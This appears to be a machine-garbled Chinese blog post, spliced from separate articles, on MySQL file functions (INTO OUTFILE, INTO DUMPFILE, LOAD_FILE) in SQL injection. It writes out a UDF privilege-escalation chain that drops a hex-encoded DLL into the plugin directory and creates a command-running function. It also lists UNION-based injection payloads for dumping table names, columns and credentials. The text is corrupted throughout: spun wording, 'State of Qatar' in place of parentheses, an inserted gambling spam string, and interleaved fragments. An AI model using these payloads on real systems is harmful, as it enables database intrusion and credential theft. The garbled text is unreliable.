mysql dumpfile 与 outfile 函数的区别

在选择sql注入漏洞前期,最常用的正是通过mysql的file种类函数来进展读取敏感文件只怕写入webshell,当中相比常用的函数有以下多个

  1. SQL轻巧命令介绍:
  2. mysql.exe -u 用户名  -p  密码  -h  ip地址
  3. show databases;查看数据库
  4. select version(State of Qatar;php注入下的版本号
  5. use database(表名);
  6. show tables;显示那张表的表名
  7. select * from table;
  8. insert update  等
  9. into outfile ‘路线’   (导出数据到路径)
  10. select load_file(hex卡塔尔(قطر‎    查看路线hex编码内容

直接以为多少个函数成效是平等的
 
经过简短测量检验发掘依然有个别区别的
 
如下表admin
 
mysql> select * from admin;
 
+—–+———–+———+
 
| uid | name      | pass    |
 
+—-+————+———+
 
|  1 | admin      | baidusb |  
 
|  2 | root          | hacksb  |
|  3 | manage    | nimei    |
 
|  4 | boss         | helensb |
 
|  5 | guanli       | admin   |
 
|  6 | superuser  | G0Ood   |
 
+—-+————+———+
 
mysql> select * from admin into outfile
‘/home/seclab/test/test1.txt’;
 
Query OK,1 row affected (0.00 sec)
 
自己是想将那么些剧情 导出到 多少个txt文件,事实上是能够全部导出每行记录的.
其风姿浪漫很相符导库
 
 
而into dump是充裕的 它只可以导出 生龙活虎行数据!
 
 
若大家想把二个 可实行2进制 文件用into outfile函数导出
实则 导出后 就能被毁损
 
因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这么些2进制可实行 文件 就能够被磨损
 
那个时候大家用into dumpfile 就能够导出 贰个完璧归赵能执行的2进制 文件
into dumpfile 函数不对别的列或行开展悬停,也不试行别的转义处理
 
 
如在无web脚本 实践 可是有mysql root 推行的景况下 我们就可以 通过
into dump 函数导入udf.dll举办提权
 
mysql> show variable like ‘%plugin%’;
 
+—————-+——————————————+
|Variable_name   | Value                                    |
+—————-+——————————————+
| plugin_dir     |c:\mysql\mysql server 5.1\lib/plugin      |
+—————-+——————————————+
 
mysql> select unhex(‘udf.dll hex code’) into dumpfile ‘c:/mysql/mysql
server 5.1/lib/plugin/xxoo.dll’;
mysql> select * from func; #翻看是或不是有人创设过udf
若是有就能够大致
mysql> create function MyCmd returns string soname ”c:/mysql/mysql
server 5.1/lib/plugin/xxoo.dll’;
mysql> select MyCmd(‘whoam’);
 
少数小知识点:
 
如何获得该udf.dll文件的16进制值(hex卡塔尔(قطر‎?
我们能够本地搭建mysql意况 找个能够用的udf.dll文件 试行上面操作
 
mysql> select hex(load_file (‘c:/windows/temp/xxoo.dll’)) into
outfile ‘c:/windows/temp/xxoo.txt’;
 
 
什么样获取该udf插件的放置 函数?
 
透过C32 等16进制 编辑器 或直接通过记事本 展开 正视要字 就能够

into dumpfile() into outfile() load_file()

澳门金沙vip,流入用到的SQL函数:

摘自

大家此次的测量检验数据如下

  1. version(卡塔尔(قطر‎  版本(那点很要紧,决定注入方式)
  2. database(卡塔尔国  数据库名    –>知道多少库名,然后用它赢得表
  3. user(卡塔尔   当前客商
  4. @@version_compile_os  操作系统

经过简短测量检验开掘依旧有个别差距的 如下表admin mysql select * from admin;
+—–+———–+———+ | uid | name | pass…

读写文件函数调用的约束

流入流程:

因为涉及到在服务器上写入文件,所以上述函数能不能够打响奉行受到参数
secure_file_priv 的熏陶。官方文书档案中的描述如下

  1. 剖断是或不是有注入:http:www.cc.com/show.php?id=1
  2. order by来获取列数:举例是5
  3. 接下来UNION SELECT来获取音讯:http:www.cc.com/show.php?id=1 and 1=2 UNION SELECT  1,2,3,4,5
    –(看报错的职位,比方爆出2,3,4,5)
  4. 接下来拿走版本号、数据库名、当前客户、操作系统等消息;
    UNION SELECT 1,version(),database(),user(),@@version_compile_os —
  5. 然 后爆表名: UNION SELECT
    1,table_name,4,5 from information_schema.tables where
    table_schema=hex(数据库名),假若整个揭露表名,那么应为group_concat(table_name);
  6. 然 后爆列名:http:www.cc.com/show.php?id=1 UNION SELECT
    1,2,column_name ,4,5 from information_schema.schema.columns where
    table_name=hex(表名);全体暴光列名用group_concat(column_name);
  7. 末尾爆字段:http:www.cc.com/show.php?id=1 UNION SELECT
    1,客商名,3,密码,5 from 表名.

翻译一下正是

总结:

内部当参数 secure_file_priv 为空时,对导入导出Infiniti定当班值日为贰个点名的目录时,只好向钦命的目录导入导出
当班值日被安装为NULL时,制止导入导出功用

  数据库名:

以此值能够由此命令 select @@secure_file_priv
查询。由于那么些参数不能够动态修正,只好在mysql的配置文件中举行更动,然后重启生效。

      表名:

dumpfile与outfile的区别

        列名:

导出数据库场景下的间隔

          最终爆字段:

select …… into outfile


咱俩先来看一下mysql官方文书档案里对于那多个函数的分解